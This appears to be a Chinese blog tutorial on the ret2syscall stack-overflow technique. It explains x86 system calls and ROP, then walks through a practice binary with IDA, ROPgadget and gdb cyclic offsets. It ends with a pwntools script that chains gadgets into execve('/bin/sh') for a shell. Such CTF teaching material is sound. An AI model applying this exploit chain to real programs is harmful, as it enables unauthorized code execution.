当前位置: 首页 > news >正文

网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.3 ret2syscall

上一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.2 ret2libc

下一篇:格式化字符串漏洞(待更新)

欢迎关注~

ret2syscall

  • 一、系统调用
    • (一)定义
    • (二)特点
  • 二、返回导向编程
    • (一)定义
    • (二)特点
  • 三、例题

一、系统调用

(一)定义

系统调用是操作系统提供给应用程序的一种接口,允许应用程序请求操作系统执行特权指令,如文件操作、网络通信、进程管理等;
x86通过int 0x80指令进行系统调用、amd64通过syscall指令进行系统调用。

(二)特点

应用程序通常通过软终端或者指令触发系统调用
系统调用提供了用户空间程序与内核空间之间的交互方式
典型的系统调用包括read、write、open、close

系统调用的本质是操作系统内核的一段代码,我们自己编写的程序在Text、Data、Bss这些段中,然后这些程序载入内存之后,操作系统就会为我们创造Stack、Shared Libraries和Heap这些段,但是这些都是用户态的代码。
真正能接触到硬件的代码都是在地址空间的最高地址,就是Kernel空间
在这里插入图片描述

【例】write()函数是一个系统调用,它用于将数据从一个文件描述符写入文件或者其他输出设备中,以下是它的工作过程:(x86系统下)

# 向EAX寄存器中传入系统调用号,write函数的系统调用号就是0x4:
mov eax,0x4  
# 向EBX、ECX、EDX寄存器中传入write函数参数:
mov ebx,1   # 第一个参数
mov ecx,["Hello,World!\n"] # 第二个参数
mov edx,13 # 第三个参数
# 中断执行系统调用
int 0x80
# =》write(1,"Hello,World!\n",13)

【例】execve()函数
它是一个system函数包装的一种系统调用,系统调用号是11

# 向EAX寄存器中传入系统调用号,execve()函数的系统调用号就是0xb:
mov eax,0xb  
# 向EBX、ECX、EDX寄存器中传入execve()函数参数:
mov ebx,["/bin/sh"]   # 第一个参数
mov ecx,0 # 第二个参数
mov edx,0 # 第三个参数
# 中断执行系统调用
int 0x80
# =》execve("/bin/sh", 0, 0)

二、返回导向编程

(一)定义

ROP是一种漏洞利用技术,利用程序已有代码片段(即gadgets)来构建攻击payload,而不是注入新的代码。这对于执行非执行区域(NX)的内存非常有用。

(二)特点

利用程序中已有的代码片段,这些片段通常是函数的结尾,包含ret指令。
将这些片段链接在一起,形成攻击payload,用于执行恶意操作。
在这里插入图片描述

三、例题

链接: https://pan.baidu.com/s/1EYCSaq9oCV8dPDQBRb-_Yg 提取码: pfq8
拿到二进制文件之后,首先对二进制文件进行分析,是一个32位,没有设置canary保护,可以进行栈溢出。
在这里插入图片描述

用IDA打开二进制文件,得到代码:
在这里插入图片描述

shift+F12,得到字符串表,发现字符串表中有/bin/sh:
在这里插入图片描述
在这里插入图片描述

查找包含pop;ret命令的地址:
ROPgadget --binary ./code/pwn/ret2syscall/ret2syscall --only "pop|ret"
在这里插入图片描述
在这里插入图片描述

ROPgadget --binary ./code/pwn/ret2syscall/ret2syscall --only "int"
在这里插入图片描述

脚本:
需要注意的是,这里在栈上用到了很多pop;ret指令,可能会存在字节对齐的问题,所以偏移量可能会比代码里观察的要大,最保险的办法就是直接用gdb进行调试

from pwn import *
p = process("./code/pwn/ret2syscall/ret2syscall")
bin_sh = 0x080be408
int_addr = 0x08049421
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90

padding = 112
payload = b'a'*padding+p32(pop_eax)+p32(0xb)
payload = payload+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)
payload = payload + +p32(int_addr)

p.sendline(payload)
p.interactive()

本地运行:
在这里插入图片描述

调试得到偏移量的过程:

  1. gdb ./ret2syscall 进入二进制文件调试

  2. b main 在main函数处设置断点:

  3. r 继续执行到断点处

  4. cyclic 200 生成200个随机填充字符

  5. continue 继续执行代码,并将随机生成的字符复制进去,程序到达断点:

  6. cyclic -l daab得到偏移量

得到偏移量为112

相关文章:

  • 【C++进阶四】vector模拟实现
  • 蓝桥杯省模拟赛 数位和
  • 使用LangChain Agents构建Gradio及Gradio Tools(3)——使用Langchain agents构建Gradio UI
  • AI-人工智能-多模态学习助力精准预测心脏毒性
  • 使用Hugging Face训练自定义重排模型(Reranker)完全指南
  • 2024年蓝桥杯Java B组省赛真题超详解析-分布式队列
  • Docker中安装MySQL--------【详细图解】
  • Vue2函数式组件实战:手写可调用的动态组件,适用于toast轻提示、tip提示、dialog弹窗等
  • 掌握AI营销:移动营销的新动力
  • c++:哈希表
  • GPT-4o推出的原生图像生成功能升级后有点东西!
  • 世界通信大会、嵌入式展及慕尼黑上海光博会亮点回顾
  • 手绘风格流程图工具:简单高效的在线流程图绘制工具
  • C语言复习笔记--指针(1)
  • echarts+HTML 绘制3d地图,加载散点+散点点击事件
  • 2025年SCI1区(TAC) ——语义和情感双重通道用于文本对话情感识别
  • 基于vue框架的智能服务旅游管理系统54kd3(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • Python学习第二十八天
  • 游戏引擎学习第195天
  • 8.集成模板引擎
  • 微博:严厉打击对肖某董某事件蹭炒热点、编造故事博流量等行为
  • 扬州市中医院“药膳面包”走红,内含党参、黄芪等中药材
  • 网警查处编造传播“登顶泰山最高可得3万奖金”网络谣言者
  • “上博号”彩绘大飞机今日启航:万米高空传播中国古代文化
  • 阿斯利康中国区一季度收入增5%,或面临最高800万美元新罚单
  • 厚重与潮流交织,淮安展现“运河之都”全新城市想象